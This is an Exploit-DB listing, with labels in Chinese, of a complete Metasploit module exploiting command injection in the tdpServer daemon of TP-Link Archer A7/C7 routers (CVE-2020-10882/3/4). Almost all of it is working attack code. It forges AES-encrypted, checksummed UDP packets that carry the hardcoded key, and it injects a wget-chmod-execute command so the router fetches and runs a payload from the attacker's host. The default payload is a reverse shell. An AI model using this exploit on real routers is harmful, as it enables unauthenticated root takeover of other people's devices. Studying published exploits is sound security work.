TP-Link Archer A7/C7 – Unauthenticated LAN Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2020-04-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48331/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'openssl'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::EXE
    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
    'Description'=> %q{
    This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
    the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
    The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
    not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
    as root, including downloading and executing a binary from another host.
    This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
    Radek Domanski).
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
    'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
    ],
    'References' =>
    [
    [ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
    [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
    [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
    [ 'CVE', '2020-10882'],
    [ 'CVE', '2020-10883'],
    [ 'CVE', '2020-10884'],
    [ 'ZDI', '20-334'],
    [ 'ZDI', '20-335'],
    [ 'ZDI', '20-336' ]
    ],
    'Privileged' => true,
    'Platform' => 'linux',
    'Arch' => ARCH_MIPSBE,
    'Payload'=> {},
    'Stance' => Msf::Exploit::Stance::Aggressive,
    'DefaultOptions' =>
    {
    'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
    'WfsDelay'=> 15,
    },
    'Targets'=>
    [
    [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
    ],
    'DisclosureDate' => "Mar 25 2020",
    'DefaultTarget' => 0,
    )
    )
    register_options(
    [
    Opt::RPORT(20002)
    ])
    
    register_advanced_options(
    [
    OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
    ])
    end
    
    def check
    begin
    res = send_request_cgi({
    'uri' => '/webpages/app.1564127413977.manifest',
    'method'=> 'GET',
    'rport' => 80
    })
    
    if res && res.code == 200
    return Exploit::CheckCode::Vulnerable
    end
    rescue ::Rex::ConnectionError
    pass
    end
    return Exploit::CheckCode::Unknown
    end
    
    def calc_checksum(packet)
    # reference table used to calculate the packet checksum
    # used by tdpd_pkt_calc_checksum (0x4037f0)
    # located at offset 0x0416e90 in the binary
    reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
    0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
    0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
    0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
    0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
    0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
    0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
    0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
    0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
    0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
    0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
    0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
    0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
    0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
    0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
    0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
    0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
    0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
    0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
    0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
    0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
    0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
    0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
    0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
    0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
    0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
    0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
    0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
    0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
    0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
    0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
    0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
    0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
    0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
    0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
    0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
    0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
    0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
    0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
    0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
    0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
    0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
    0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
    0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
    0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
    0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
    0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
    0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
    0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
    0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
    0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
    0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
    0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
    0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
    0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
    0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
    0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
    0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
    0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
    0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
    0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
    0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
    0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
    0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
    0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
    0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
    0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
    0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
    0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
    0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
    0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
    0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
    0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
    0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]
    
    res = 0xffffffff
    
    # main checksum calculation
    packet.each_entry { |c|
    index = ((c ^ res) & 0xff) * 4
    # .reverse is needed as the target is big endian
    ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
    res = ref ^ (res >> 8)
    }
    
    checksum = ~res
    checksum_s = [(checksum)].pack('I>').force_encoding("ascii")
    
    # convert back to string
    packet = packet.pack('C*').force_encoding('ascii')
    
    # and replace the checksum
    packet[12] = checksum_s[0]
    packet[13] = checksum_s[1]
    packet[14] = checksum_s[2]
    packet[15] = checksum_s[3]
    
    packet
    end
    
    def aes_encrypt(plaintext)
    # Function encrypts perfectly 16 bytes aligned payload
    
    if (plaintext.length % 16 != 0)
    return
    end
    
    cipher = OpenSSL::Cipher.new 'AES-128-CBC'
    # in the original C code the key and IV are 256 bits long... but they still use AES-128
    iv = "1234567890abcdef"
    key = "TPONEMESH_Kf!xn?"
    encrypted = ''
    cipher.encrypt
    cipher.iv = iv
    cipher.key = key
    
    # Take each 16 bytes block and encrypt it
    plaintext.scan(/.{1,16}/) { |block|
    encrypted += cipher.update(block)
    }
    
    encrypted
    end
    
    def create_injection(c)
    # Template for the command injection
    # The injection happens at "slave_mac" (read advisory for details)
    # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
    
    # This will fail if we send a command with single quotes (')
    # ... but that's not a problem for this module, since we don't use them for our command.
    # It might also fail with double quotes (") since this will break the JSON...
    inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"
    
    template = "{\"method\":\"slave_key_offer\",\"data\":{"\
    "\"group_id\":\"#{rand_text_numeric(1..3)}\","\
    "\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
    "\"slave_mac\":\"%{INJECTION}\","\
    "\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
    "\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
    "\"want_to_join\":false,"\
    "\"model\":\"#{rand_text_alpha(5..13)}\","\
    "\"product_type\":\"#{rand_text_alpha(5..13)}\","\
    "\"operation_mode\":\"A%{PADDING}\"}}"
    
    # This is required to calculate exact template length without replace flags
    template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
    # This has to be initialized to cover the situation when no padding is needed
    pad = ''
    padding = rand_text_alpha(16)
    
    template_len += inject.length
    
    # Calculate pad if padding is needed
    if (template_len % 16 != 0)
    pad = padding[0..15-(template_len % 16)]
    end
    
    # Here the final payload is created
    template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
    end
    
    def update_len_field(packet, payload_length)
    new_packet = packet[0..3]
    new_packet += [payload_length].pack("S>")
    new_packet += packet[6..-1]
    end
    
    def exec_cmd_file(packet)
    # This function handles special action of exec
    # Returns new complete tpdp packet
    inject = "\';sh #{@cmd_file}\'"
    payload = create_injection(inject)
    
    ciphertext = aes_encrypt(payload)
    if not ciphertext
    fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
    end
    
    new_packet = packet[0..15]
    new_packet += ciphertext
    new_packet = update_len_field(new_packet, ciphertext.length)
    
    calc_checksum(new_packet.bytes)
    end
    
    # Handle incoming requests from the router
    def on_request_uri(cli, request)
    print_good("#{peer} - Sending executable to the router")
    print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
    send_response(cli, @payload_exe)
    @payload_sent = true
    end
    
    def exploit
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
    fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
    end
    
    if datastore['SSL']
    fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")
    end
    
    print_status("Attempting to exploit #{target.name}")
    
    tpdp_packet_template =
    [0x01].pack('C*') + # packet version, fixed to 1
    [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
    [0x07].pack('S>*') +# onemesh opcode, used by the onemesh_main switch table
    [0x00].pack('S>*') +# packet len
    [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
    [0x00].pack('C*') + # dunno what this is
    [rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') +# serial number, can by any value
    [0x5A,0x6B,0x7C,0x8D].pack('C*')# Checksum placeholder
    
    srv_host = datastore['SRVHOST']
    srv_port = datastore['SRVPORT']
    @cmd_file = rand_text_alpha_lower(1)
    
    # generate our payload executable
    @payload_exe = generate_payload_exe
    
    # Command that will download @payload_exe and execute it
    download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"
    
    http_service = 'http://' + srv_host + ':' + srv_port.to_s
    print_status("Starting up our web service on #{http_service} ...")
    start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
    on_request_uri(cli, req)
    },
    'Path' => "/#{@cmd_file}"
    }})
    
    print_status("#{peer} - Connecting to the target")
    connect_udp
    
    print_status("#{peer} - Sending command file byte by byte")
    print_status("#{peer} - Command: #{download_cmd}")
    mod = download_cmd.length / 5
    
    download_cmd.each_char.with_index { |c, index|
    # Generate payload
    payload = create_injection(c)
    if not payload
    fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
    end
    
    # Encrypt payload
    ciphertext = aes_encrypt(payload)
    if not ciphertext
    fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
    end
    
    tpdp_packet = tpdp_packet_template.dup
    tpdp_packet += ciphertext
    tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
    tpdp_packet = calc_checksum(tpdp_packet.bytes)
    
    udp_sock.put(tpdp_packet)
    
    # Sleep to make sure the payload is processed by a target
    Rex.sleep(1)
    
    # Print progress
    if ((index+1) % mod == 0)
    percentage = 20 * ((index+1) / mod)
    # very advanced mathemathics in use here to show the progress bar
    print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
    if percentage == 100
    # a bit of cheating to get the last char done right
    index = -2
    end
    #print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
    end
    }
    
    # Send the exec command. From here we should receive the connection
    print_status("#{peer} - Command file sent, attempting to execute...")
    tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
    udp_sock.put(tpdp_packet)
    
    timeout = 0
    while not @payload_sent
    Rex.sleep(1)
    timeout += 1
    if timeout == datastore['MAX_WAIT'].to_i
    fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
    end
    end
    
    disconnect_udp
    end
    end